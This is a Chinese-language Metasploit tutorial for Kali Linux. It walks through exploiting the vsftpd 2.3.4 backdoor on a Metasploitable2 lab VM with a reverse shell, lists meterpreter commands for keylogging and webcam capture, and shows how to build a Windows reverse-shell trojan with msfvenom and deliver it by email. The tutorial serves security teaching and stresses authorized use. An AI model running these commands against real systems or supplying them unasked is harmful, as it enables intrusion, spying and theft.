贝博恩创新科技网

Kali Metasploit怎么用?入门到精通技巧有哪些?

Metasploit for Kali Linux:从入门到精通

前言:为什么在 Kali Linux 上使用 Metasploit?

  • 集成环境:Kali Linux 是专为渗透测试和安全研究设计的操作系统,Metasploit Framework 已经被预装并配置好,开箱即用。
  • 强大的生态系统:Kali 提供了与 Metasploit 无缝集成的其他工具,如 Nmap(端口扫描)、Burp Suite(Web应用代理)、Wireshark(流量分析)等,形成了一个完整的攻击链。
  • 社区支持:Metasploit 拥有一个庞大的社区,不断有新的漏洞利用模块、辅助模块和后渗透脚本被贡献和更新。

第一部分:Metasploit 基础入门

什么是 Metasploit?

Metasploit Framework (MSF) 是一个开源的渗透测试平台,它提供了:

Kali Metasploit怎么用?入门到精通技巧有哪些?-图1
(图片来源网络,侵删)
  • 漏洞利用:针对已知软件漏洞的攻击代码。
  • 载荷:在成功利用漏洞后,在目标系统上执行的代码(Meterpreter)。
  • 辅助模块:用于扫描、嗅探、指纹识别等任务的工具。
  • 后渗透模块:在获得目标系统访问权后,用于提升权限、维持访问、窃取数据等操作的模块。
  • 编码器:用于绕过防病毒软件和入侵检测系统 的工具。

启动 Metasploit

在 Kali Linux 的终端中,直接输入 msfconsole 并回车。

msfconsole

首次启动时,它会加载所有模块,可能需要几秒钟,你会看到一个类似下面这样的界面:

                                   _
 _                               _ | |
| |                             | || |
| |__   __ _ _ __ ___   ___  ___  | || |___
| '_ \ / _` | '_ ` _ \ / _ \/ _ \ | | __\ \
| | | | (_| | | | | | |  __/  __/ | |_\ \ \_
|_| |_|\__,_|_| |_| |_|\___|\___| |_|\__|___\_\
                                    http://www.metasploit.com
       =[ metasploit v6.1.44-dev                          ]
+ -- --=[ 2140 exploits - 1135 auxiliary - 390 post       ]
+ -- --=[ 602 payloads - 45 encoders - 10 nops            ]
+ -- --=[ 2 evasion                                       ]
Metasploit can be directly started from the msfconsole
To see the menu, type: msf6
msf6 >

msf6 > 是 Metasploit 的命令行提示符。

核心概念

  • Module (模块):Metasploit 的功能单元,分为 exploit, payload, auxiliary, post, encoder, nop 等。
  • Target (目标):指定漏洞利用要针对的操作系统或服务版本。
  • Payload (载荷):这是攻击的核心,它分为三大类:
    • Stageless (无阶段):一次性将完整载荷发送到目标,优点是快速;缺点是体积较大,容易被检测。
    • Staged (分阶段):先发送一个小的“Stager”(小段代码),它在目标机上下载并执行完整的“Stage”(主载荷),优点是体积小,隐蔽性好;缺点是多了一次网络交互。
    • Single (单):将 Stager 和 Stage 打包成一个文件,平衡了体积和功能。
  • Listener (监听器):当使用反向连接类型的载荷时,需要在你的 Kali 机上启动一个监听器,等待目标主动连接回来。

常用命令

命令 描述 示例
help 显示帮助信息 help
search <keyword> 搜索模块 search apache
use <module_path> 使用一个模块 use exploit/multi/handler
show options 显示当前模块的可用选项 show options
show targets 显示可用的目标列表 show targets
show payloads 显示与当前 exploit 兼容的载荷 show payloads
set <option> <value> 设置一个选项的值 set RHOSTS 192.168.1.10
setg <option> <value> 全局设置一个选项的值,对所有模块有效 setg RHOSTS 192.168.1.0/24
info 显示模块的详细信息 info
check 检查目标是否易受当前漏洞攻击 check
runexploit 执行模块 run
back 返回上一级模块 back
quit 退出 msfconsole quit

第二部分:实战演练 - 攻击一个 Metasploitable2 靶机

为了安全地练习,我们需要一个“活靶子”,Metasploitable2 是 VMware 提供的一个故意设计得漏洞百出的虚拟机,你可以从 官方下载 并在 VMware/VirtualBox 中导入。

Kali Metasploit怎么用?入门到精通技巧有哪些?-图2
(图片来源网络,侵删)

场景:我们不知道靶机的任何信息,需要一步步进行信息收集和攻击。

步骤 1:信息收集

目标:发现靶机 IP 地址。

在 Kali 的终端中,使用 nmap 扫描本地网络。

nmap -sn 192.168.1.0/24

找到名为 metasploitable2 的主机 IP,假设是 168.1.15

Kali Metasploit怎么用?入门到精通技巧有哪些?-图3
(图片来源网络,侵删)

步骤 2:服务枚举

目标:找出靶机上运行的服务和潜在漏洞。

nmap -sV -sC -O 192.168.1.15
  • -sV:探测服务版本。
  • -sC:运行默认脚本扫描。
  • -O:尝试检测操作系统。

扫描结果会显示很多开放的服务,vsftpd 2.3.4, Apache 2.2.8, OpenSSH 4.7p1 等,这些都是我们潜在的攻击点。

步骤 3:选择并配置漏洞利用

我们发现 vsftpd 2.3.4 版本存在一个著名的后门漏洞,让我们使用 Metasploit 来利用它。

  1. 搜索模块

    search vsftpd 2.3.4

    你会找到一个名为 exploit/unix/ftp/vsftpd_234_backdoor 的模块。

  2. 使用模块

    use exploit/unix/ftp/vsftpd_234_backdoor
  3. 查看选项

    show options

    你会看到需要设置的选项:

    • RHOSTS: 目标主机的 IP 地址。
    • RPORT: 目标主机的端口(默认 21)。
  4. 设置选项

    set RHOSTS 192.168.1.15
    set RPORT 21
  5. 检查目标 (可选但推荐):

    check

    Metasploit 会尝试连接并确认目标是否易受攻击,如果返回 appears to be vulnerable,就可以继续。

步骤 4:选择并配置载荷

  1. 查看兼容载荷

    show payloads

    你会看到很多选项,包括 cmd/unix/reversemeterpreter,我们选择功能更强大的 meterpreter

  2. 设置载荷

    set payload cmd/unix/reverse

    或者直接使用 set 命令来设置一个完整的载荷路径,payload/linux/x64/meterpreter/reverse_tcp

  3. 配置监听器: 因为我们的载荷是 reverse(反向连接),所以需要告诉靶机连接回我们的 Kali 机。

    • LHOST: 你的 Kali Linux 的 IP 地址(在终端输入 ip a 查看)。168.1.10
    • LPORT: 监听的端口号,任意选择一个未被占用的端口,4444
    set LHOST 192.168.1.10
    set LPORT 4444

步骤 5:执行攻击

所有选项都已设置完毕。

exploit

如果一切顺利,你会看到 Metasploit 成功连接,并得到一个 meterpreter 会话。

[*] Started reverse TCP handler on 192.168.1.10:4444 
[*] 192.168.1.15:21 - Trying to exploit with command: `echo DQo8Pj4= | base64 -d | sh`
[*] 192.168.1.15:21 - Send stage 32 bytes
[*] Meterpreter session 1 opened (192.168.1.10:4444 -> 192.168.1.15:31337) at 2025-10-27 10:30:00 +0800
meterpreter >

恭喜!你已经成功获得了对靶机的访问权限!

步骤 6:后渗透操作

meterpreter > 是一个强大的命令行界面,你可以在这里执行很多操作:

命令 描述
sysinfo 查看系统信息(操作系统、架构等)
getuid 查看当前用户权限
ps 列出系统进程
migrate <PID> 迁移到另一个进程以隐藏自身
shell 获取一个系统级的命令行 shell
upload <local_file> <remote_path> 上传文件到目标
download <remote_file> <local_path> 下载文件到本地
keyscan_start / keyscan_dump / keyscan_stop 捕获键盘记录
webcam_list / webcam_snap / webcam_stream 控制摄像头

输入 shell,你将获得一个标准的 Linux shell,可以执行 ls, whoami, cat /etc/passwd 等命令。


第三部分:高级技巧与最佳实践

使用 Meterpreter 的强大功能

Meterpreter 是内存中的动态链接库,它不依赖于在目标磁盘上创建文件,因此非常隐蔽,多花时间探索 meterpreter 的所有子系统和命令。

生成可执行文件

有时,你需要生成一个独立的可执行文件(如 .exe.apk)来诱使目标执行,这可以通过 msfvenom 工具完成,它是 msfpayloadmsfencode 的结合体。

示例:生成一个 Windows 的反向 Meterpreter 木马

# 在 Kali 终端中执行,而不是在 msfconsole 中
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f exe -o payload.exe
  • -p: 指定载荷。
  • -LHOST/-LPORT: 监听器和端口。
  • -f: 输出格式。
  • -o: 输出文件名。

生成后,你可以通过 Web 服务、邮件附件等方式将 payload.exe 传给目标,然后使用 exploit/multi/handler 模块来监听并接收连接。

数据库集成

Metasploit 可以与 PostgreSQL 数据库集成,存储和管理扫描结果、会话信息等,这对于大型项目至关重要。

  1. 启动 PostgreSQL
    service postgresql start
  2. 创建数据库并连接
    msfdb init
  3. msfconsole 中,数据库会自动连接,你可以使用 db_* 命令来管理数据。

自动化攻击

Metasploit 的 resource 文件可以用来存储一系列命令,实现自动化攻击。

  1. 创建一个文本文件,attack.rc如下:
    use exploit/unix/ftp/vsftpd_234_backdoor
    set RHOSTS 192.168.1.15
    set LHOST 192.168.1.10
    set PAYLOAD cmd/unix/reverse
    exploit
    sysinfo
    getuid
  2. msfconsole 中运行:
    resource /path/to/attack.rc

第四部分:重要提醒与道德准则

  1. 仅用于授权测试绝对不要对未经授权的系统进行 Metasploit 攻击,这是违法行为,并会带来严重的法律后果。
  2. 法律与道德:Metasploit 是一个强大的工具,必须由负责任的专业人员用于合法的安全评估、漏洞研究和防御加固。
  3. 学习环境:始终在像 Metasploitable2, OWASP Juice Shop, DVWA 这样的专用靶机或搭建在自己的虚拟机上进行学习和练习。
  4. 持续学习:Metasploit 和漏洞世界在不断变化,多阅读官方文档、关注安全博客,并尝试自己编写模块或脚本。

本教程为你提供了一个在 Kali Linux 上使用 Metasploit 的完整路线图,从基础的 msfconsole 命令,到一次完整的信息收集、漏洞利用和后渗透流程,再到高级的自动化和文件生成技巧。

熟能生巧,最好的学习方法就是动手实践,在安全的靶机上不断尝试不同的模块、载荷和技术,你将逐渐掌握这个强大工具的精髓,祝你学习愉快!

分享:
扫描分享到社交APP
上一篇
下一篇